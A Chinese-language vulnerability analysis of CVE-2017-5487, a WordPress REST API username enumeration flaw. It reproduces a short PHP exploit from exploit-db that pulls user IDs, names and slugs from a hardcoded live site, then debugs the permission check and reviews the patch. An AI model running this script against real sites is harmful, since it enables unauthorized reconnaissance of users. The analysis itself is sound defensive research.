Author: p0wd3r (知道创宇404安全实验室)
Date: 2017-03-05
近日 exploit-db 上公布了一个 Wordpress < 4.7.1 的用户名枚举漏洞:https://www.exploit-db.com/exploits/41497/ ,实际上该漏洞于1月14号就已经在互联网上公布,并赋予了 CVE-2017-5487。利用该漏洞攻击者可以在未授权状态下获取之前发布过文章的用户的用户名、id 等信息。
未授权状态下获取之前发布过文章的用户的用户名、 id 等信息。
触发前提:Wordpress 配置 REST API
影响版本:< 4.7.1
下载相应版本的 Wordpress ,然后配置 REST API,具体参见:https://www.seebug.org/vuldb/ssvid-92637
我们先看 exploit-db 上给出的 exp :
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
可以看到它是利用 REST API 来获取用户的信息,对应的文件是wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php
,接下来使用 exp 并且开启动态调试。
首先程序进入get_items_permissions_check
函数:
/**
* Permissions check for getting all users.
*
* @since 4.7.0
* @access public
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, otherwise WP_Error object.
*/
public function get_items_permissions_check( $request ) {
// Check if roles is specified in GET request and if user can list users.
if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
函数中有三个条件语句,如果条件成立就返回错误。但是仔细看每一个的条件都是 $request[xxx] && ! current_user_can( 'list_users' )
,这也就意味者只要前面的语句不成立,那么后面的current_user_can('list_users')
就失去了作用。至于$request['roles']
、$request['context']
和$request['orderby']
的值,通过调试我们可以看到,三者值如下:
均不符合条件,所以函数返回true
,成功通过了权限检查。
接下来程序进入了get_items
函数,先是设置了一些查询参数然后使用$query = new WP_User_Query( $prepared_args );
进行查询,我们直接在WP_User_Query
的query
函数处下断点:
$this->request
即为执行的查询,其值如下:
SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users.ID IN ( SELECT DISTINCT wp_posts.post_author FROM wp_posts WHERE wp_posts.post_status = 'publish' AND wp_posts.post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10
可见该 API 可以获取的用户必须满足以下几个条件:
publish
post
、page
、attachment
其中之一在我们的环境中,admin 用户默认会有文章,所以我们执行 exp 后会得到 admin 的一些信息:
接下来我们再创建一个新的用户 tommy,再执行 exp 发现结果和上面一样,原因就是因为还没有发文章。我们登录 tommy 并发布一篇文章,然后再执行 exp:
这回就可以获取 tommy 的信息了。
Wordpress 官方给出的补丁如下:
Only show users that have authored a post of a post type that has
show_in_rest
set to true.
意思是仅当用户发表的文章的类型的show_in_rest
属性为true
时,才可以获取该用户的信息。
在代码层面上,补丁设置了$prepared_args['has_published_posts']
的值,该值在构造查询语句时会用到:
if ( $qv['has_published_posts'] && $blog_id ) {
if ( true === $qv['has_published_posts'] ) {
$post_types = get_post_types( array( 'public' => true ) );
} else {
$post_types = (array) $qv['has_published_posts'];
}
...
将查询中的$post_type
设置为show_in_rest=true
的那些类型,那么哪些类型的show_in_rest
为true
呢?
在wp-includes/post.php
中的create_initial_post_types
函数中可以看到post
、page
和attachment
的show_in_rest
均为true
,和补丁前查询中的类型一致,也就是说其实最新版本在默认情况下还是可以使用这个 exp 的,实际测试的结果也是如此:
至于为什么这样,笔者认为可能该 API 的设计意图就是让其他人获得发布过文章的用户的用户名,因为文章已经公开了,用户名自然也就公开了。这次补丁给了用户更多的定制化空间,因为用户可以自己通过register_post_type
来创建文章类型,补丁中提供的show_in_rest
属性可以让用户自己选择用户信息对于 API 的可见性。
本文写得实在仓促,如果哪里有不对的地方,还望大家多多指教。